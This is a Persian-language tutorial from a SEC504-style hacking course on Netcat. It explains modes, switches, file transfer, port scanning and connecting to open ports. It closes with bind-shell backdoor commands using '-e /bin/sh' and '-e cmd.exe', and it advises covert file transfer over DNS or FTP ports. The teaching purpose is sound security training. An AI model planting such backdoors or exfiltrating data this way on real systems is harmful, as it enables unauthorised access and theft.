در این بخش از دوره آموزشی SEC504 به معرفی ابزار NC یا NetCat می پردازیم و به نحوه کار کردن با این ابزار اشاره می کنیم.
ابزار NC
ابزار Netcat یکی از ابزارهای مفید برای هک میباشد. این ابزار به شما اجازه میدهد تا به راحتی فایلی را در بستر شبکه جابجا نمایید که این کار میتوان بر روی بستر TCP یا UDP صورت گیرد.
یکی از ویژگیهای دیگر NC قابلیت اجرا بر روی ویندوز، لینوکس، MacOS، سولاریس، AIX و … است.
تیم توسعه ابزار Nmap یک ابزار مشابه با netcat را ایجاد نموده اند که به نام ncat معروف میباشد و دارای ویژگیهای جالبی میباشد. این ابزار قادر به رمزنگاری اطلاعات بین کلاینت و سرور از طریق SSL میباشد. همچنین اجازه میدهد تا چند کلاینت به یک Listener متصل شوند. توجه داشته باشید که Netcat اجازه میدهد تا در یک زمان به یک Listener متصل شوید.
یک قابلیت دیگر ابزار Ncat اتصال بین دو کلاینت که پشت NAT قرار گرفته اند میباشد.
قابلیت دیگر امکان چت بین کلاینتها میباشد.
DNScat هم ابزاری است که دارای ویژگیهای ابزار Netcat بوده و برای انتقال درخواستهای DNS از آن استفاده میشود.
البته ابزارهایی مانند Socat و Crypcat هم وجود دارند که عملکردی مشابه Netcat دارند ولی یکی از بهترین گزینهها استفاده از Netcat میباشد.
Client Mode
به صورت پیشفرض ابزار Netcat بر روی وضعیت یا مد کلاینت قرار دارد و شما باید به آن بگویید که به کدام سیستم و کدام پورت متصل شود.
شما میتوانید خروجی یک برنامه را به ابزار NC اصطلاحا PIPE نمایید یا خروجی NC را به یک برنامه PIPE نمایید.
یکی از ویژگیهای دیگر ابزار NC ورودی و خروجی استاندارد آن است که هنگام بروز خطا هم میتواند به ما کمک نماید. این بسیار خوب است زیرا این خروجیها میتواند به صورت ورودی به برنامههای دیگر باشد.
ابزارهایی مانند Telnet Client خطاهای مختلفی را ایجاد میکنند که این میتواند آزار دهنده بوده و در برخی موارد نتوان از آن به عنوان ورودی برای بخشهای دیگر استفاده نمود.
یکی دیگر از ویژگیهای که در ابزار NC بسیار مفید میباشد امکان بهره گیری از Source Routing است که برای حملات IP Spoof میتوان از آن استفاده نمود.
Listen mode
Listen mode برای منتظر ماندن بر روی یک پورت خاص مورد استفاده قرار میگیرد.
با توجه به اینکه کلیه دادههای دریافتی از شبکه در NC به صورت ورودی و خروجی استاندارد میباشد به همین خاطر میتواند در صفحه، نمایش داده شده، به یک فایل ارسال شود و یا به یک برنامه خاص ارسال گردد.
پیامهایی که توسط برنامه تولید میشوند نیز چنین قابلیتی دارند.
در این حالت کلاینت ارتباط را آغاز مینماید و Listener منتظر دریافت اطلاعات بر روی یک پورت میباشد.
دستورات ارتباطی در NC
فرمت دستور NC به صورت زیر میباشد:
nc [options] [target] [remote ports]
در سمت دیگر، سیستم هدف باید در مد کلاینت قرار گیرد.
برخی از سوییچهای NC به صورت زیر است:
-l: حالت Listen mode ساده است که در ادامه میتواند بر روی یک پورت به گوش باشد.
-L: یک Listen Harder است که با استفاده از این گزینه NC یک Persistent Listener بوده و بعد از قطع ارتباط کلاینت، باعث اتصال مجدد آن میشود. لازم به ذکر است این دستورد تنها در ویندوز پشتیبانی میگردد.
-u: مد UDP را فعال میکند.
-p به منظور تعریف پورت از آن استفاده میشود.
-e: با این سوییچ برنامه ای که بعد از برقراری ارتباط باید اجرا شود مشخص میشود. این سوییچ برای ایجاد بک دور بسیار مفید میباشد.
-z: از این سوییچ برای عدم نمایش ورودی و خروجی استفاده میگردد که معمولا برای اسکن کاربرد دارد.
-w: بیانگر زمان timeout برای ارتباط میباشد. بعد از این سوییچ یک عدد قرار میگیرد که بیانگر میزان انتظار بر اساس ثانیه است.
پس از استفاده از سوییچها و مشخص نمودن آدرس مقصد میتوان با دستور < خروجی را به یک فایل ارجاع داد. با استفاده از > میتوان ورودی را از یک فایل دریافت نمود و با عبارت pipe نیز خروجی اولین برنامه، خروجی دومین برنامه خواهد بود.
برخی از کاربردهای NC که به آن اشاره میشود عبارتند از:
• انتقال دادهها
• اسکن پورت و آسیبپذیری
• ایجاد یک ارتباط بین سیستمها از طریق یک پورت
• ایجاد بک دور
• Relays
انتقال اطلاعات با NC
با استفاده از این قابلیت میتوان یک فایل را به سیستم هدف منتقل کرد که یکی از موارد کاربردی و مورد استفاده در NC است. توجه داشته باشید که شما میتوانید یک انتقال داده نامحسوس را با استفاده از پورت 53 UDP انجام دهید که برای انتقال اطلاعات DNS استفاده میشود. البته استفاده از پورت 21 که مربوط به FTP میباشد نیز گزینه خوبی است.
بخش اول انتقال یک فایل از Listener به کلاینت است که برای این کار دستورات زیر را در کلاینت و Listener اجرا میکنیم.
listener: nc -l -p 1234 < filename client: nc [listener IP] 1234 > filename
بخش دوم انتقال یک فایل از کلاینت به Listener میباشد که برای این کار دستورات زیر را در کلاینت و Listener اجرا میکنیم.
listener: nc -l -p 1234 > filename
client: nc [listener IP] 1234 < filename
شما حتی میتوانید از مرورگر به عنوان کلاینت برای بخش اول استفاده کنید. همچنین این انتقال فایل در NC میتواند با TCP و UDP کار کند.
همچنین شما میتوانید آدرس IP مبدا را برای Listener مشخص کنید تا تنها ارتباطات از یک آدرس منبع دریافت شود.
اسکن پورت و آسیبپذیری
ابزار Netcat امکان اسکن استاندارد پورت را فراهم میکند که میتواند با هر دو پروتکل TCP و UDP انجام شود. اگر قابلیتهایی که در Nmap برای اسکن پورت وجود دارد در Netcat قرار داده نشده است ولی به عنوان یک اسکنر پورت ابتدایی عملکرد خوبی دارد. برای اسکن پورت با ابزار Netcat میتوان از دستور زیر استفاده نمود:
nc –v –w3 –z [targetIP] [startport]-[endport]
-v: به معنای Verbose و برای نمایش اطلاعات بیشتر در مورد اسکن میباشد.
-w3: به معنای این است که برای دریافت پاسخ در هر پورت بیشتر از 3 ثانیه منتظر نماند.
-z: با استفاده از این دستور کمترین میزان داده برای تست باز بودن پورت ارسال خواهد شد.
علاوه بر اسکن پورتهای باز بر روی یک سیستم، با استفاده از Netcat میتوان با ایجاد برخی از شل اسکریپتها، دادههایی را به هدف ارسال نموده و با آنالیز پاسخ آنها، وجود آسیبپذیری در سیستم هدف را شناسایی نمود. البته آسیبپذیریهایی که میتوان با استفاده از Netcat مورد شناسایی قرار داد، زیاد نیستند.
ایجاد ارتباط با پورت باز
یکی از مواردی که بعد از اسکن پورت انجام میشود، متصل شدن به پورت باز و تلاش برای شناسایی سرویس مورد نظر است. شما میتوانید با استفاده از telnet هم این کار را انجام دهید اما Telnet معمولا Hang نموده و راه مناسبی برای اتصال به پورت نیست. ابزار Netcat در مد کلاینت به راحتی امکان اتصال به پورت را فراهم میکند و به نفوذگر اجازه میدهد تا هر نوع دادهای که مد نظر دارد را ارسال نماید.
مهمتر از همه Netcat به نفوذگر اجازه میدهد تا به راحتی اتصال را قطع نماید. هنگامی که کاربری کلیدهای CTRL و C را انتخاب میکند، اتصال به صورت دائمی قطع میشود. همچنین Telnet Client چندین پیام تفسیر مختلف را بر روی خروجی استاندارد قرار میدهد که میتواند یک فایل داده ای که Capture شده است را خراب نماید و در نهایت Telnet، پروتکل UDP را پشتیبانی نکرده ولی Netcat از این پروتکل پشتیبانی مینماید.
ایجاد Backdoor
یکی از موارد استفاده دیگر Netcat، ایجاد یک درب پشتی میباشد. با استفاده از Listen نمودن یک پورت و استفاده از سوییچ -e که در ادامه آن فایل اجرایی مورد نظر مانند cmd.exe قرار میگیرد، Netcat میتواند به محض اتصال فرد دیگر به این پورت خاص، برنامه cmd را اجرا نموده و برای نفوذگر امکان اجرای دستورات را بر روی سیستم قربانی، فراهم نماید.
Unix: nc -l -p [port] -e /bin/sh
windows: nc -l -p [port] -e cmd.exe
و برای اتصال به پورت نیز از دستور زیر استفاده میکنیم:
nc [listenerIP] [port]